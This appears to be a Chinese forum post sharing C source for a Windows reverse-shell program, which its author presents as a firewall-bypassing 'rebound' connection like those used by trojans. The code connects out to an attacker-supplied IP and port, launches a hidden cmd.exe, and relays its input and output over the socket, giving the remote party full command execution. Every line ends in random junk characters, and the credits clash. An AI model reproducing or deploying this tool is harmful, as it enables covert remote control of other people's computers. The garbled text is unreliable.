这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 |pr~Ohz
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/* ============================== u~?]/-.TY
Rebound port in Windows NT dL")E|\\k
By wind,2006/7 KoQvC=+WI
===============================*/ 8T
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#include >k^=+
#include 94W9P't
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#pragma comment(lib,"wsock32.lib") NS=puo
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void OutputShell(); vVKiE 6^
SOCKET sClient; %@*diJ
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; |U$oS2U\m
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void main(int argc,char **argv) z;'"c3qG8
{ sJ?Fque
WSADATA stWsaData; NK*~UePy
int nRet; w0moC9#$?
SOCKADDR_IN stSaiClient,stSaiServer; RsVba!x@
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if(argc != 3) W32mAz;
{ BWL~)Hx
printf("Useage:\n\rRebound DestIP DestPort\n"); s<z{ (a
return; ~mK9S^[
} suPQlU>2sj
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WSAStartup(MAKEWORD(2,2),&stWsaData); Fg5c;sls
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); (sO;etW
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stSaiClient.sin_family = AF_INET; rN$_(%m_N
stSaiClient.sin_port = htons(0); v.\1-Q?
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 2}I1z_dq~
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ] 2FS=
{ Aq QArSu,
printf("Bind Socket Failed!\n"); -UPdgZ_Vxz
return; |nz,srr~
} 3HFsR)
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stSaiServer.sin_family = AF_INET; R(r89bTQ
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); '(&.[Pk:"
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); GJ
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) io$AGi
{ z930Wi{@
printf("Connect Error!"); E7oL{gU
return; >UZfi u
} =4m?RPb~b
OutputShell(); #r#UO
} t~Cul+
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void OutputShell() <k6Zx-6X<
{ `kVy1WiY
char szBuff[1024]; ~H7m7
SECURITY_ATTRIBUTES stSecurityAttributes; u
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OSVERSIONINFO stOsversionInfo; M{3He)&
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ;
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STARTUPINFO stStartupInfo; bh3}[O,L
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char *szShell; O9dIobu4
PROCESS_INFORMATION stProcessInformation; kDS4 t?Ig
unsigned long lBytesRead; m/Q@ -
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); op/HZa
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); /3L1Un*
stSecurityAttributes.lpSecurityDescriptor = 0; B'lWs;
stSecurityAttributes.bInheritHandle = TRUE; uv/I`[@HK8
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); '0p 5|[ZD
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); m`}!
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); *[wy-
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; e>#*$4tg
stStartupInfo.wShowWindow = SW_HIDE; G{pfyfF
stStartupInfo.hStdInput = hReadPipe; <_dyUiT$J
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; \|F4@
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GetVersionEx(&stOsversionInfo); ug.mY= n'
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switch(stOsversionInfo.dwPlatformId) j#f+0
{ 'nz;|6uC
case 1: m$ )yd~
szShell = "command.com"; X};m \Bz
break; %g5TU 6WP
default: h3Nwxj~E
szShell = "cmd.exe"; Hzcy'
break; yM}}mypS
} >XcbNZV
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 9c1g,:8\
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send(sClient,szMsg,77,0); KkP}z
while(1) W=c7>s0>
{ d rnqX-E;
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); D>+&= 5{
if(lBytesRead) 7g[m,48{
{ kTb.I;S
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); rbiNp6AdL
send(sClient,szBuff,lBytesRead,0); 8c(}*,O/
} 'YIFHn$!
else g0v},n
{ "nP mQ
lBytesRead=recv(sClient,szBuff,1024,0); 3$ cDC8
if(lBytesRead<=0) break; $#2ik~]>
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Fvf308[
} o,[~7N
} IMIZ#/
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return; )SQ*"X4"
}